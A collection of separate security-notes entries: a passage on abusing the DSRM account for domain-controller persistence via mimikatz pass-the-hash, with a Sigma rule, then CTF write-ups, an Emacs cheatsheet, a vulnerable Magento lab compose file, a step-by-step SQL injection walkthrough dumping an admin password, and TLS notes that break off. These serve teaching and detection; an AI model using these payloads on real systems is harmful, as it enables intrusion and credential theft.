有关DSRM密码的一个有意思的事情是这个DSRM账户实际上就是“Administrator”。这就意味着一旦攻击者有了DC的DSRM密码,就有可能使用这个账户通过网络作为一个本地管理员登录到DC上。 我们可以使用法国佬神器(mimikatz)来确认DSRM账号就是本地管理员帐户。首先,使用一个已知的密码创建一个AD用户(xiaomi),之后,使用这个域账户进行DSRM密码同步操作。 具体操作命令可以参考0x01命令 关于更多使用DSRM作为活动目录后门的用法可以参考Freebuf文中提到方法。 ### 0x03 使用DSRM凭证的一种更为高级的方法 正如0x02所述,DSRM账户实际上是一个可用的本地管理员账户,并且可以通过网络验证并登录到DC中,当然,**要确保DsrmAdminLogonBehavior注册表键的值为 2**。另外,攻击者并不需要知道DSRM账户的真实密码,只需要知道这个账户的HASH值。这就意味着一旦攻击者有了DSRM账户的HASH值,就可以通过网络使用“HASH传递攻击”方式,并以一个管理员的身份访问DC。这个方法在Windows Server 2008 R2和Windows Server 2012 R2的域控中已经测试成功了。 使用法国佬神器(mimikatz)执行如下命令行: ```dos Mimikatz “privilege::debug” “sekurlsa::pth /domain:xiaomi.org /user:administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac” exit ``` 注意的是:由于DSRM账户实际上是一个可用的本地管理员账户administrator,所以在此处,可以这么理解,攻击者知道DC本地账户administrator的NTML HASH,使用mimikatz进行HASH传递进行攻击,达到以DC本地账户administrator的密码进行登录访问DC。 ## 测试留痕 windows 安全日志4794 ## 检测规则/思路 ### Sigma规则 ```yml title: 目录服务还原模式(DSRM)帐户上的密码更改 status: 稳定 description: 目录服务还原模式(DSRM)帐户是域控制器上的本地管理员帐户。攻击者可以更改密码以获得持久性。 references: - https://adsecurity.org/?p=1714 tags: - attack.persistence - attack.privilege_escalation - attack.t1098 logsource: product: windows service: security detection: selection: EventID: 4794 #试图设置目录服务还原模式管理员密码 condition: selection falsepositives: - Initial installation of a domain controller level: high ``` ### 建议 1.监控与DSRM密码重置和使用相关的事件日志 4794:试图设置目录服务还原模式管理员密码。 2.监控如下注册表位置的值,当值为 1 或 2时,应引起警示 ```reg HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior ``` ## 参考推荐 MITRE-ATT&CK-T1078-001 <https://attack.mitre.org/techniques/T1078/001/> 域控权限持久化之DSRM <https://www.freebuf.com/articles/system/80968.html> 巧用DSRM密码同步将域控权限持久化 <https://www.uedbox.com/post/10269/>
sec-knowleage
## Hidden in Plain Sight (Forensics) tl;dr read the file before it's been decrypted In this task, we're only given a mega download link.(https://mega.nz/#!6N0gmRLK!VsN9gLdiYbxMVTA-AdsRjsvezMpdEqiR9ngwrS6gR7k) The hint is: `you need to know the basic principle behind how MEGA works in order to solve this challenge. Flag.txt is the flag, but it is hidden... in plain sight ;)` Mega doesn't store keys to decrypt your data, you are given them with the url, in our case it's `AdsRjsvezMpdEqiR9ngwrS6gR7k`. The files are download to a sandbox using *FileSystem API*. After the download is complete, the file is then decrypted using aes and passed to the normal download folder. The downloaded flag looks like gibberish: `}Żv#ĘÖ›{QřČxJZzŃ\M÷2ޏˆIĆ&N˛<­z´ŕ´„ĽĹ*‹—ýk/Ăõ` Let's then try viewing the flag before it's been decrypted by using Chrome developer tools. ![img1](scr1.png) Bingo!
sec-knowleage
# Crackme3000 (reverse, 724p) > Our opponents have set up a private email server to store their correspondence. > We need to gain access to it. Could you break their advanced authentication protocols? > crackme3000 In this task we were given a single MIPS binary. It wasn't too big, but reversing it was still painful. Architecture is not widely supported by RE tools, but task creators were actively trying to mislead us. For example, the congratulations text was printed in two cases: either the input string was equal to some hardcoded string formatted like a flag (which BTW was not the flag), or when a series of checks were fulfilled. The binary used RC4 cipher as a part of password checking. Finding the key was tricky though - it turned out to be the string `error: _ptr is not null` - yeah, seriously! I initially skipped that part of binary, thinking it's just random compiler error checking subroutine. Nice idea for delaying the reversing. The binary then tried to open some file, but didn't seem to do anything with it. Then it decrypted some data using RC4 and xored it with `xor_key` buffer. The problem is, that buffer was set only if the operation of opening that file did not succeed. The `xor_key` was then set to the result of `strerror` function call - as I guessed, Linux-like `No such file or directory` error message. Combining all this together, we wrote a quick script to get the flag. This was a really cleverly annoying task. What a weird combination.
sec-knowleage
--- title: Emacs date: 2020-12-17 16:21:49 background: bg-[#7752a9] tags: - editor - text - shortcut categories: - Toolkit intro: | [Emacs](https://www.gnu.org/software/emacs) is the extensible, customizable, self-documenting real time display text editor. This reference was made for Emacs 27. plugins: - copyCode --- ## Getting started {.cols-3} ### Starting Emacs To enter Emacs, just type its name: ```shell script $ emacs ``` ------ | - | - | |-------------|------------------------| | `C-z` | Suspend Emacs | | `C-x` `C-c` | Exit Emacs permanently | {.shortcuts} ### Global Description {.secondary} | - | - | |-----------|---------------------------------------------| | `C-<key>` | Means hold the control, and press `<key>` | | `M-<key>` | Means press the Esc once, and press `<key>` | {.shortcuts} NOTICE: This cheatsheet follows the above rules. ### Motion {.row-span-2} | Backward | Forward | Entity to move over | |-----------|-----------|--------------------------------| | `C-b` | `C-f` | Haracter | | `M-b` | `M-f` | Word | | `C-p` | `C-n` | Line | | `C-a` | `C-e` | Line beginning<br/>_(or end)_ | | `M-a` | `M-e` | Sentence | | `M-{` | `M-}` | Paragraph | | `C-x` `[` | `C-x` `]` | Page | | `C-M-b` | `C-M-f` | Sexp | | `C-M-a` | `C-M-e` | Function | | `M-<` | `M->` | Buffer beginning<br>_(or end)_ | {.shortcuts .show-header} ### Case Change | - | - | |-------------|------------------| | `M-u` | Uppercase word | | `M-l` | Lowercase word | | `M-c` | Capitalize word | | `C-x` `C-u` | Uppercase region | | `C-x` `C-l` | Lowercase region | {.shortcuts} ### Files | - | - | |-------------|--------------------------------------------------| | `C-x` `C-f` | Read a file into Emacs | | `C-x` `C-s` | Save a file back to disk | | `C-x` `s` | Save all files | | `C-x` `i` | Insert contents of another file into this buffer | | `C-x` `C-v` | Replace this file with your file | | `C-x` `C-w` | Write buffer to a specified file | | `C-x` `C-q` | Toggle read-only status of buffer | {.shortcuts} ### Error Recovery | - | - | |-----------------------------|--------------------------------------------| | `C-g` | Abort partially typed or executing command | | `M-x` recover-session | Recover files lost by a system crash | | `C-x` `u`<br>`C-_`<br>`C-/` | Undo an unwanted change | | `M-x` revert-buffer | Restore a buffer to its original contents | | `C-l` | Redraw garbaged screen | {.shortcuts} ### Transposing {.row-span-2} | - | - | |-------------|----------------------| | `C-t` | Transpose characters | | `M-t` | Transpose words | | `C-x` `C-t` | Transpose lines | | `C-M-t` | Transpose sexps | {.shortcuts} #### Scroll | - | - | |-----------|--------------------------------------------------| | `C-v` | Scroll to next screen | | `M-v` | Scroll to previous screen | | `C-x` `<` | Scroll left | | `C-x` `>` | Scroll right | | `C-l` | Scroll current line to <br>_center, top, bottom_ | {.shortcuts} #### Goto | - | - | |-----------|---------------------| | `M-g` `g` | Goto line | | `M-g` `c` | Goto char | | `M-m` | Back to indentation | {.shortcuts} ### Marking | - | - | |-------------------|-------------------------| | `C-@`<br/>`C-SPC` | Uet mark here | | `C-x` `C-x` | Exchange point and mark | | `M-@` | Set mark arg words away | | `M-h` | Mark paragraph | | `C-x` `C-p` | Mark page | | `C-M-@` | Mark sexp | | `C-M-h` | Mark function | | `C-x` `h` | Mark entire buffer | {.shortcuts} ### Killing and Deleting {.row-span-2} | Backward | Forward | Entity to kill | |---------------|---------|--------------------------| | `DEL` | `C-d` | Character <br>_(delete)_ | | `M-DEL` | `M-d` | Word | | `M-0` `C-k` | `C-k` | Line <br/> _(to end of)_ | | `C-x` `DEL` | `M-k` | Sentence | | `M--` `C-M-k` | `C-M-k` | Sexp | {.shortcuts .show-header} #### Killing | - | - | |------------|--------------------------------------| | `C-W` | Kill region C-w | | `M-w` | Copy region to kill ring | | `M-z` char | Kill through next occurrence of char | | `C-y` | Yank back last thing killed | | `M-y` | Replace last yank with previous kill | {.shortcuts} ### Getting Help | - | - | |-----------|------------------------------------------| | `C-x` `1` | Remove help window | | `C-M-v` | Scroll help window | | `C-h` `a` | Apropos: show commands matching a string | | `C-h` `k` | Describe the function a key runs | | `C-h` `f` | Describe a function | | `C-h` `m` | Get mode-specific information | {.shortcuts} The help system is simple. Type `C-h` (or `F1`) and follow the directions. If you are a first-time user, type `C-h` `t` for a tutorial. ### Multiple Windows {.col-span-2} When two commands are shown, the second is a similar command for a frame instead of a window. | - | - | - | |---------------|-----------|-------------------------------| | `C-x` `5` `1` | `C-x` `1` | Delete all other windows | | `C-x` `5` `2` | `C-x` `2` | Split window, above and below | | `C-x` `5` `0` | `C-x` `0` | Delete this window | | `C-x` `3` || Split window, side by side | | `C-M-v` || Scroll other window | | `C-x` `5` `o` | `C-x` `o` | Switch cursor to another window | | `C-x` `5` `b` | `C-x` `4` `b` | Select buffer in other window | | `C-x` `5` `C-o` | `C-x` `4` `C-o` | Display buffer in other window | | `C-x` `5` `f` | `C-x` `4` `f` | Find file in other window | | `C-x` `5` `r` | `C-x` `4` `r` | Find file read-only in other window | | `C-x` `5` `d` | `C-x` `4` `d` | Run Dired in other window | | `C-x` `5` `.` | `C-x` `4` `.` | Find tag in other window | | `C-x` `^` || Grow window taller | | `C-x` `{` || Shrink window narrower | | `C-x` `}` || Grow window wider | {.shortcuts} ### Formatting | - | - | |-------------|------------------------------------------| | `TAB` | Indent current line (mode-dependent) | | `C-M-\` | Indent region (mode-dependent) | | `C-M-q` | Indent sexp (mode-dependent) | | `C-x` `TAB` | Indent region rigidly arg columns | | `M-;` | Indent for comment | | `C-o` | Insert newline after point | | `C-M-o` | Move rest of line vertically down | | `C-x` `C-o` | Delete blank lines around point | | `M-^` | Join line with previous (with arg, next) | | `M-\` | Delete all white space around point | | `M-SPC` | Put exactly one space at point | | `M-q` | Fill paragraph | | `C-x` `f` | Set fill column to arg | | `C-x` `.` | Set prefix each line starts with | | `M-o` | Set face | {.shortcuts} ### Info {.row-span-2} | - | - | |-----------|---------------------------------------------| | `C-h` `i` | Enter the Info documentation reader | | `C-h` `S` | Find specified function or variable in Info | {.shortcuts} #### Moving within a node | - | - | |-------|-------------------| | `SPC` | Scroll forward | | `DEL` | Scroll reverse | | `b` | Beginning of node | {.shortcuts} #### Moving between nodes | - | - | |-----|----------------------------------------| | `n` | Next node | | `p` | Previous node | | `u` | Move up | | `m` | Select menu item by name | | `n` | Select nth menu item by number (1–9) | | `f` | Follow cross reference (return with l) | | `l` | Return to last node you saw | | `d` | Return to directory node | | `t` | Go to top node of Info file | | `g` | Go to any node by name | {.shortcuts} #### Other | - | - | |-----|----------------------------------| | `h` | Run Info tutorial | | `i` | Look up a subject in the indices | | `s` | Search nodes for regexp | | `q` | Quit Info | {.shortcuts} ### Minibuffer The following keys are defined in the minibuffer. | - | - | |-------|-----------------------------------------| | `TAB` | Complete as much as possible | | `SPC` | Complete up to one word | | `RET` | Complete and execute | | `?` | Show possible completions | | `M-p` | Fetch previous minibuffer input | | `M-n` | Fetch later minibuffer input or default | | `M-r` | Regexp search backward through history | | `M-s` | Regexp search forward through history | | `C-g` | Abort command | {.shortcuts} Type `C-x` `ESC` `ESC` to edit and repeat the last command that used the minibuffer. Type `F10` to activate menu bar items on text terminals. ### Tags | - | - | |--------------------------|--------------------------------------------| | `M-.` | Find a tag (a definition) | | `C-u` `M-.` | Find next occurrence of tag | | `M-x` visit-tags-table | Specify a new tags file | | `M-x` tags-search | Regexp search on all files in tags table | | `M-x` tags-query-replace | Run query-replace on all the files | | `M-,` | Continue last tags search or query-replace | {.shortcuts} ### Rectangles | - | - | |---------------|-------------------------------------| | `C-x` `r` `r` | Copy rectangle to register | | `C-x` `r` `k` | Kill rectangle | | `C-x` `r` `y` | Yank rectangle | | `C-x` `r` `o` | Open rectangle, shifting text right | | `C-x` `r` `c` | Blank out rectangle | | `C-x` `r` `t` | Prefix each line with a string | {.shortcuts} ### Keyboard Macros | - | - | |---------------------------|-------------------------------------| | `C-x` `(` | Start defining a keyboard macro | | `C-x` `)` | End keyboard macro definition | | `C-x` `e` | Execute last-defined keyboard macro | | `C-u` `C-x` `(` | Append to last keyboard macro | | `M-x` name-last-kbd-macro | Name last keyboard macro | | `M-x` insert-kbd-macro | Insert Lisp definition in buffer | {.shortcuts} ### Buffers | - | - | |-------------|-----------------------| | `C-x` `b` | Select another buffer | | `C-x` `C-b` | List all buffers | | `C-x` `k` | Kill a buffer | {.shortcuts} Emacs Search{.cols-3} ------ ### Regex (common) {.row-span-2} | - | - | |---------------|----------------------------------------------| | `.` `(dot)` | Any single character except a newline | | `*` | Zero or more repeats | | `+` | One or more repeats | | `?` | Zero or one repeat | | `\` | Quote special characters | | `\c` | Quote regular expression special character c | | `\|` | Alternative (“or”) | | `\(...\)` | Grouping | | `\(:?...\)` | Shy grouping | | `\(:NUM...\)` | Explicit numbered grouping | | `\n` | Same text as nth group | | `\b` | At word break | | `\B` | Not at word break | ### Regex (entry) | Start | End | Entity | |-------|-------|--------| | `^` | `$` | Line | | `\<` | `\>` | Word | | `\_<` | `\_>` | Symbol | | `\‘` | `\’` | Buffer | {.show-header} ### Regex (conflict) | These | Others | class | |---------|----------|---------------------------| | `[...]` | `[^...]` | Explicit set | | `\w` | `\W` | Word-syntax character | | `\sc` | `\Sc` | Character with syntax c | | `\cc` | `\Cc` | Character with category c | {.show-header} ### Incremental Search | - | - | |---------|-----------------------------------| | `C-s` | Search forward | | `C-r` | Search backward | | `C-M-s` | Regular expression search | | `C-M-r` | Reverse regular expression search | | `M-p` | Select previous search string | | `M-n` | Select next later search string | | `RET` | Exit incremental search | | `DEL` | Undo effect of last character | | `C-g` | Abort current search | {.shortcuts} Use `C-s` or `C-r` again to repeat the search in either direction. If Emacs is still searching, `C-g` cancels only the part not matched. ### Query Replace | - | - | |--------------|--------------------------------------| | `M-%` | Interactively replace a text string | | `M-x` regexp | Using regular expressions | | `SPC` / `y` | Replace this one, go on to next | | `,` | Replace this one, don’t move | | `DEL` / `n` | Skip to next without replacing | | `!` | Replace all remaining matches | | `^` | Back up to the previous match | | `RET` | Exit query-replace | | `C-r` | Enter recursive edit (C-M-c to exit) | {.shortcuts} Misc ---- ### Shells | - | - | |-------------|----------------------------------------| | `M-!` | Execute a shell command | | `M-&` | Execute a shell command asynchronously | | `M-` | Run a shell command on the region | | `C-u` `M-` | Filter region through a shell command | | `M-x` shell | Start a shell in window shell | {.shortcuts} ### International Character Sets {.col-span-2} | - | - | |----------------------------|------------------------------------| | `C-x` `RET` `l` | specify principal language | | `M-x` list-input-methods | show all input methods | | `C-\` | enable or disable input method | | `C-x` `RET` `c` | set coding system for next command | | `M-x` list-coding-systems | show all coding systems | | `M-x` prefer-coding-system | choose preferred coding system | {.shortcuts} ### Registers | - | - | |-----------------|--------------------------------------| | `C-x` `r` `s` | Save region in register | | `C-x` `r` `i` | Insert register contents into buffer | | `C-x` `r` `SPC` | Save value of point in register | | `C-x` `r` `j` | Jump to point saved in register | {.shortcuts} ### Miscellaneous | - | - | |------------|-------------------| | `C-u` num | Numeric argument | | `M--` | Negative argument | | `C-q` char | Quoted insert | {.shortcuts} ### Commands Dealing with Emacs Lisp | - | - | |--------------------|------------------------------------| | `C-x` `C-e` | Eval sexp before point | | `C-M-x` | Eval current defun | | `M-x` eval-region | Eval region | | `M-:` | Read and eval minibuffer | | `M-x` load-library | Load a Lisp library from load-path | {.shortcuts} ### Simple Customization | - | - | |-------------------|-------------------------------| | `M-x` `customize` | customize variables and faces | Making global key bindings in Emacs Lisp: ``` {.wrap} (global-set-key (kbd "C-c g") ’search-forward) (global-set-key (kbd "M-#") ’query-replace-regexp) ``` ### Abbrevs | - | - | |-------------------|------------------------------------------| | `C-x` `a` `g` | Add global abbrev | | `C-x` `a` `l` | Add mode-local abbrev | | `C-x` `a` `i` `g` | Add global expansion for this abbrev | | `C-x` `a` `i` `l` | Add mode-local expansion for this abbrev | | `C-x` `a` `e` | Explicitly expand abbrev | | `M-/` | Expand previous word dynamically | {.shortcuts} ### Spelling Check | - | - | |---------------------|---------------------------------------| | `M-$` | Check spelling of current word | | `M-x` ispell-region | Check spelling of all words in region | | `M-x` ispell-buffer | Check spelling of entire buffer | | `M-x` flyspell-mode | Toggle on-the-fly spell checking | {.shortcuts} ### Writing Commands {.col-span-2} #### Syntax ``` (defun command-name (args) "documentation" (interactive "template") body) ``` #### Example ``` (defun this-line-to-top-of-window (line) "Reposition current line to top of window. With prefix argument LINE, put point on LINE." (interactive "P") (recenter (if (null line) 0 (prefix-numeric-value line)))) ``` The interactive spec says how to read arguments interactively. Type `C-h` `f` interactive `RET` for more details.
sec-knowleage
version: '2' services: web: image: vulhub/magento:2.2.7 depends_on: - mysql ports: - "8080:80" mysql: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=magento
sec-knowleage
# Ticketastic: Live Instance - FLAG1 ## 0x00 Ticket Page http://127.0.0.1/xxxxxxxxxx/ticket?id=1 ![](../flag0/imgs/flag.jpg) ## 0x01 Try Modify Parameters ```sql ticket?id=1' ``` Get some error message ``` Traceback (most recent call last): File "./main.py", line 78, in ticket cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id']) File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute self.errorhandler(self, exc, value) File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler raise errorvalue ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1") ``` So it uses MySQL database and seems can be injected here. Double check by try. The first link works but the second one shows error. ```sql ticket?id=1 AND 1=1 ticket?id=1 AND 1=2 ``` ## 0x02 Get Table Fields Number ```sql ticket?id=1 AND 1=1 ORDER BY 10 ticket?id=1 AND 1=1 ORDER BY 3 ``` Reduce **RDER BY** number until it shows web page properly again. While **ORDER BY 4** still shows ERROR but **ORDER BY 3** can perform correct. This means the Table selection has 3 fields. ## 0x03 Check Output Locations ```sql ticket?id=1.1 UNION SELECT 1,2,3-- ``` ![](./imgs/output.jpg) ## 0x04 Get Current Database Version, TABLE_SCHEMA ```sql ticket?id=1.1 UNION SELECT VERSION(),DATABASE(),3-- ``` ![](./imgs/db.jpg) ## 0x05 Get TABLE_NAME ```sql ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- ``` ![](./imgs/tables.jpg) So the useful TABLE_NAME = users ## 0x06 Get COLUMN_NAME ```sql ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'-- ``` ![](./imgs/columns.jpg) ## 0x07 Dump Data (FLAG) ```sql ticket?id=1.1 UNION SELECT 1,password,3 FROM users WHERE username='admin'-- ``` ![](./imgs/flag.jpg) ## 0x08 Why Do Not Use SQLMAP? Ok, let's do it with [SQLMAP][2] again. ### Catch the Request and Save to a File Save the following request to the file [request.txt][1] ``` GET /xxxxxxxxxx/ticket?id=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session_level7b={ADMIN SESSION} Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache ``` And run the following command ``` python sqlmap.py -r request.txt --dump ``` ![](./imgs/flag1.jpg) [1]: ./request.txt [2]: https://github.com/sqlmapproject/sqlmap
sec-knowleage
# TLS > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 **相关文章 & 参考链接** - [一篇文章带你读懂 TLS Poison 攻击](https://blog.zeddyu.info/2021/04/20/tls-poison/) - [TLS1.3握手流程以及参数详解](http://blog.nsfocus.net/tls1-3protocol/) - [深入浅出 SSL/TLS 协议](https://mp.weixin.qq.com/s/uPe5YRIOqWcr4qYors1rFw) --- ## 什么是 TLS 传输层安全性协议(英语:Transport Layer Security,缩写:TLS)及其前身安全套接层(英语:Secure Sockets Layer,缩写:SSL)是一种安全协议,目的是为互联网通信提供安全及数据完整性保障。 网景公司(Netscape)在 1994 年推出首版网页浏览器时,推出 HTTPS 协议,以 SSL 进行加密,这是 SSL 的起源。TLS 由此演变而来。TLS 1.0 版的开发实际上始于 SSL 3.1 版,但协议的名称在发布之前进行了更名,以表明它不再与 Netscape 关联。由于这个历史原因,TLS 和 SSL 这两个术语有时会互换使用。 IETF 将 SSL 进行标准化,1999 年公布 TLS 1.0 标准文件(RFC 2246)。随后又公布 TLS 1.1(RFC 4346,2006 年)、TLS 1.2(RFC 5246,2008 年)和 TLS 1.3(RFC 8446,2018 年)。在浏览器、电子邮件、即时通信、VoIP、网络传真等应用程序中,广泛使用这个协议。目前已成为互联网上保密通信的工业标准。 该协议由两层组成: TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。 握手协议在记录协议的上层,记录协议是一个分层协议。其中握手协议中还包括了警告协议(alert protocol)。 ### TLS Handshake TLS 握手是启动使用 TLS 加密的通信会话的过程。在 TLS 握手期间,两个通信方交换消息以相互确认,彼此验证,确立它们将使用的加密算法,并就会话密钥达成共识。它定义了消息的格式和交换的顺序。这些可以根据客户端和服务器的需求而变化,也就是说,有几种可能的程序来建立连接。初始交换的结果是 TLS 连接成功(双方都准备好用 TLS 传输应用数据)或发出警报消息。 每当用户通过 HTTPS 导航到网站,并且浏览器首先开始查询网站的源站服务器时,都会进行 TLS 握手。每当其他任何通信使用 HTTPS(包括 API 调用和 HTTPS 上的 DNS 查询)时,也会发生 TLS 握手。通过 TCP 握手打开 TCP 连接后,将发生 TLS 握手。 在 TLS 握手过程中,客户端和服务器一同执行以下操作: - 指定将要使用的 TLS 版本(TLS 1.0、1.2、1.3 等) - 决定将要使用哪些密码套件 - 通过服务器的公钥和 SSL 证书颁发机构的数字签名来验证服务器的身份 - 生成会话密钥,以在握手完成后使用对称加密 - 检查是否需要恢复会话 TLS 握手是由客户端和服务器交换的一系列数据报或消息。TLS 握手涉及多个步骤,因为客户端和服务器要交换完成握手和进行进一步对话所需的信息。 TLS 握手的确切步骤将根据所使用的密钥交换算法的类型以及双方支持的密码套件而有所不同,RSA 密钥交换算法最为常用。但是并非所有 TLS 握手均使用非对称加密(公钥和私钥),但并非全都会在生成会话密钥的过程中使用私钥。例如 Diffie-Hellman 握手等。 ### TLS Record TLS Record 协议使用握手过程中创建的密钥来确保应用数据的安全。 记录协议负责保护应用数据的安全,并验证其完整性和来源,它管理以下内容: - 将传出的消息分为可管理的块 - 重新组合传入的消息 - 压缩外发报文块和解压接收报文块(可选) - 将信息验证码(Message Authentication Code, MAC)应用到外发信息并使用 MAC 验证接收信息 - 加密外发报文和解密接收报文。 当 TLS Record 协议完成后,发送方从高层接受任意长度的非空数据,对其进行合并或分块处理,然后利用带有辅助数据的认证加密 AEAD (authenticated encryption with associated data)被传到传输控制协议(TCP)层进行传输。 --- ### TLS 1.2 #### TLS 1.2 HankShake 由于历史原因,TLS 的前身 SSL 已经被废弃,我们这里介绍下 TLS 1.2 TLS 握手流程如下 1. Client hello: 客户端发送 ClientHello 消息,指定它支持的最高 TLS 协议版本、一个随机数、一个建议的密码套件列表和建议的压缩方法。如果客户端试图执行恢复握手,它可能会发送一个会话 ID 。如果客户端可以使用应用层协议协商,它可能包括一个支持的应用协议列表,例如 HTTP/2 。 2. Server hello: 服务器以 ServerHello 消息作出响应,包含从客户端提供的选择中选择的协议版本、随机数、密码套件和压缩方法。为了确认或允许恢复握手,服务器可以发送一个会话 ID 。选择的协议版本应该是客户端和服务器都支持的最高版本。例如,如果客户端支持 TLS 1.1 版本,服务器支持 1.2 版本,则应选择 1.1 版本;不应选择 1.2 版本。 3. (Optional) Certificate: 服务器向客户端发送证书或证书链。 证书链通常以服务器的公钥证书开始,并以证书颁发机构的根证书结束。 该消息是可选的,但是在需要服务器身份验证时使用。 4. (Optional) Certificate request: 如果服务器必须对客户端进行身份验证,则它将向客户端发送证书请求。 在Internet应用程序中,很少发送此消息。 5. (Optional) Server key exchange: 如果来自证书的公钥信息不足以进行密钥交换,则服务器会向客户端发送服务器密钥交换消息。 例如,在基于Diffie-Hellman(DH)的密码套件中,此消息包含服务器的DH公钥。 6. Server hello done: 服务器告诉客户端它已经完成了其初始协商消息。 7. (Optional)Certificate: 如果服务器从客户端请求证书,则客户端将发送其证书链,就像服务器之前所做的一样。 Note: 只有少数Internet服务器应用程序要求客户端提供证书。 8. Client key exchange: 客户端生成用于创建用于对称加密的密钥的信息。 对于 RSA ,客户端随后使用服务器的公共密钥对该密钥信息进行加密并将其发送到服务器。 对于基于 DH 的密码套件,此消息包含客户端的 DH 公钥。 9. (Optional) Certificate verify: 如前所述,当客户端出示证书时,此消息由客户端发送。 其目的是允许服务器完成对客户端进行身份验证的过程。 使用此消息时,客户端使用加密哈希函数发送其进行数字签名的信息。 当服务器使用客户端的公共密钥解密此信息时,服务器便能够对客户端进行身份验证。 10. Change cipher spec: 客户端发送一条消息,告知服务器更改为加密模式。 11. Finished: 客户端告诉服务器已准备好开始安全数据通信。 12. Change cipher spec: 服务器发送一条消息,告知客户端更改为加密模式。 13. Finished: 服务器告诉客户端它已准备好开始安全数据通信,握手到此结束。 14. Encrypted data: 客户端和服务器使用对称加密算法和在客户端问候和服务器问候期间协商的加密哈希函数,以及使用客户端在客户端密钥交换期间发送给服务器的秘密密钥进行通信。 此时可以重新协商握手。 15. Close Messages: 在连接结束时,双方都会发送 close_notify Alert 报文,以通知对等方该连接已关闭。 #### TLS 1.2 Session Resumption 完整的 TLS 握手产生的额外延时和计算成本对所有需要安全通信的应用程序牺牲了很多性能代价,为了帮助降低部分成本, TLS 提供了一种机制恢复会话机制,用来恢复或共享多个连接之间的相同协商的秘钥数据。 会话恢复是一个重要的优化部署,简略的握手消除了一个完整的 TLS 握手往返耗时,大大降低了双方的计算成本。 在 TLS 1.2 中, TLS Session Resumption 可以采用 Session ID 和会话票机制来实现。除了性能上的优势外,恢复的会话还可以用于单点登录,因为它保证了原始会话和任何恢复的会话都来自同一个客户端。 ##### Session ID - https://blog.zeddyu.info/2021/04/20/tls-poison/#tls-12-session-resumption---session-id ##### Session Ticket - https://blog.zeddyu.info/2021/04/20/tls-poison/#tls-12-session-resumption---session-ticket --- ### TLS 1.3 TLS 1.3 可以说是 TLS 1.2 的升级版本,它在 RFC 8446 中定义,于 2018 年 8 月发表。 改进有: - 减少握手等待时间,将握手时间从 `2-RTT` 降低到 `1-RTT`,并且增加 `0-RTT` 模式。 - 废除 `Session ID` 和 `Session Ticket` 会话恢复方式,统一通过 PSK 的方式进行会话恢复,并在 `NewSessionTicket` 消息中添加过期时间和用于混淆时间的偏移值。 在握手时相对于 TLS 1.2 发生了比较明显的改动: 1. 与 TLS 1.2 握手类似,TLS 1.3 握手以 `Client Hello` 消息开始,但有一个重要的变化就是客户端发送支持的加密套件列表,并猜测服务器可能选择的密钥协议协议,也会发送它对该特定密钥协议协议的密钥共享。 2. Server 在回复 `Server Hello` 时,服务器回复它所选择的密钥协议协议,其中也包括服务器的密钥共享、证书以及 `Server Finisheds`。 3. 现在,客户端检查服务器证书,生成密钥,并发送 `Client Finished`,之后就可以发送加密数据了。 这样一来,TLS 1.3 握手就节省了整整一个来回和数百毫秒的时间,比 TLS 1.2 握手有了很大的改进。RFC 8446 提供的简要流程图如下: ``` Client Server Key ^ ClientHello Exch | + key_share* | + signature_algorithms* | + psk_key_exchange_modes* v + pre_shared_key* --------> ServerHello ^ Key + key_share* | Exch + pre_shared_key* v {EncryptedExtensions} ^ Server {CertificateRequest*} v Params {Certificate*} ^ {CertificateVerify*} | Auth {Finished} v <-------- [Application Data*] ^ {Certificate*} Auth | {CertificateVerify*} v {Finished} --------> [Application Data] <-------> [Application Data] + Indicates noteworthy extensions sent in the previously noted message. * Indicates optional or situation-dependent messages/extensions that are not always sent. {} Indicates messages protected using keys derived from a [sender]_handshake_traffic_secret. [] Indicates messages protected using keys derived from [sender]_application_traffic_secret_N. Figure 1: Message Flow for Full TLS Handshake ``` TLS 1.2 与 1.3 简要的握手对比如下图所示: #### PSK TLS 1.3 用通过预共享密钥(Pre-Shared Key, PSK)恢复会话的概念取代了 1.2 当中的 Session ID 和 Session Ticket 。在最初的握手之后,服务器向客户端发送一个 PSK 标识。 PSK 内容取决于服务器,可能包含一个数据库查询密钥或一个自我加密和自我认证的票据。客户端将此PSK身份与自己的会话密钥一起存储。其中, RFC 8446 定义的 PSK 结构如下所示: ``` struct { opaque identity<1..2^16-1>; uint32 obfuscated_ticket_age; } PskIdentity; opaque PskBinderEntry<32..255>; struct { PskIdentity identities<7..2^16-1>; PskBinderEntry binders<33..2^16-1>; } OfferedPsks; struct { select (Handshake.msg_type) { case client_hello: OfferedPsks; case server_hello: uint16 selected_identity; }; } PreSharedKeyExtension; ``` 在随后的握手中,客户端在给服务器的 ClientHello 消息中提供这个 PSK ,服务器根据 PSK 的内容对票据进行解密,并使用包含的会话密钥和连接状态来恢复会话,或者服务器使用包含的查找密钥在自己的数据库中查找会话密钥和连接状态。 RFC 8446 提供了一个 Session Resumption 的流程图如下: ``` Client Server Initial Handshake: ClientHello + key_share --------> ServerHello + key_share {EncryptedExtensions} {CertificateRequest*} {Certificate*} {CertificateVerify*} {Finished} <-------- [Application Data*] {Certificate*} {CertificateVerify*} {Finished} --------> <-------- [NewSessionTicket] [Application Data] <-------> [Application Data] Subsequent Handshake: ClientHello + key_share* + 